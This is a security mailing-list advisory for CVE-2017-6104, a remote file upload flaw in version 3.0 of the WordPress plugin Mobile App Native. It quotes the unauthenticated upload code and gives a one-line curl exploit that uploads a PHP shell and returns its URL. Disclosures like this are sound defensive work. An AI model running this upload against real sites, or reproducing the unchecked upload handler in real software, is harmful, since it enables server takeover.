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Date: Thu, 02 Mar 2017 13:52:23 -0500
From: "Larry W. Cashdollar" <larry0@...com>
To: Open Source Security <oss-security@...ts.openwall.com>
Subject: Remote file upload vulnerability in Wordpress Plugin Mobile App Native
3.0
Title: Remote file upload vulnerability in Wordpress Plugin Mobile App Native 3.0
Author: Larry W. Cashdollar, @_larry0
Date: 2017-02-27
Download Site: https://wordpress.org/plugins/zen-mobile-app-native/
Vendor: https://profiles.wordpress.org/zendkmobileapp/
Vendor Notified: 2017-02-27
Vendor Contact:
Description: Mobile App WordPress plugin lets you turn your website into a full-featured mobile application in minutes using Mobile App Builder.
Vulnerability:
The code in file ./zen-mobile-app-native/server/images.php doesn't require authentication or check that the user is allowed to upload content.
It also doesn't sanitize the file upload against executable code.
<?php
//header('content-type: text/html; charset=iso-8859-2');
header('Content-Type: text/html; charset=utf-8');
header('Access-Control-Allow-Origin: *');
require_once('function.php');
if ($_FILES['file']['name']) {
if (!$_FILES['file']['error']) {
$name = md5(rand(100, 200));
$ext = explode('.', $_FILES['file']['name']);
$filename = $name . '.' . $ext[1];
$destination = 'images/' . $filename;
$location = $_FILES["file"]["tmp_name"];
move_uploaded_file($location, $destination);
echo $plugin_url.'/server/images/' . $filename;
}
else {
echo $message = 'Ooops! Your upload triggered the following error: '.$_FILES['file']['error'];
}
}
CVE-ID: CVE-2017-6104
Exploit Code:
$ curl -F "file=@...r/www/shell.php" "http://example.com/wordpress/wp-content/plugins/zen-mobile-app-native/server/images.php"
http://example.com/wordpress/wp-content/plugins/zen-mobile-app-native//server/images/8d5e957f297893487bd98fa830fa6413.php
Advisory: http://www.vapidlabs.com/advisory.php?v=178
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